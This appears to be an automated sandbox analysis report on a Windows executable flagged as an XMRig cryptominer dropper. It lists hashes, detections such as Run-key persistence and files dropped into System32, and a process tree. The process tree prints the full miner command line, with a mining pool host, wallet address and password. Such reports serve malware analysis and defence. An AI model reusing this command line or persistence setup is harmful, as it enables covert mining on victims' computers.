Analysis
-
max time kernel
142s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
-
submitted
01/11/2023, 12:20
General
-
Target
NEAS.04170922fdfc7db96753edcba6534160_JC.exe
-
Size
3.4MB
-
MD5
04170922fdfc7db96753edcba6534160
-
SHA1
b126939f6d8d7b18b1913271270fa032a2c804e5
-
SHA256
b99412011e45db14a0ff11db1465887d93258abf27e559d2879b4dd61db4d109
-
SHA512
7feb3c2921274a6a81b9cc8ed5b0577e57141763a8d8d49090411c799858215a1d8416a033ac33e798276a5329235071c804fd35a111efbe8a37e4fb1872833e
-
SSDEEP
98304:sY7bcOAJELNGn2ujeB4P81r/6CHS4mnybfqI9Tg5m:N7uELs2064k1zbtmwfBlg5m
Malware Config
Signatures
-
XMRig Miner payload 19 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Executes dropped EXE 1 IoCs
-
Loads dropped DLL 1 IoCs
-
UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Drops file in System32 directory 1 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\NEAS.04170922fdfc7db96753edcba6534160_JC.exe"C:\Users\Admin\AppData\Local\Temp\NEAS.04170922fdfc7db96753edcba6534160_JC.exe"1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tghost.exeC:\Windows\system32\\tghost.exe --coin=XMR -o auto.c3pool.org:19999 -u 4AVZEp1DtKxQtuaC8aRQZuDirVPV6MeM1gfKNPL39jp9CDCDRLezwefeydFB8UWFAyReQJ6VfinV4eAmqFKzZ3XK929Xs63 -p Uruozwgf2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
8.9MB
-
Filesize
8.9MB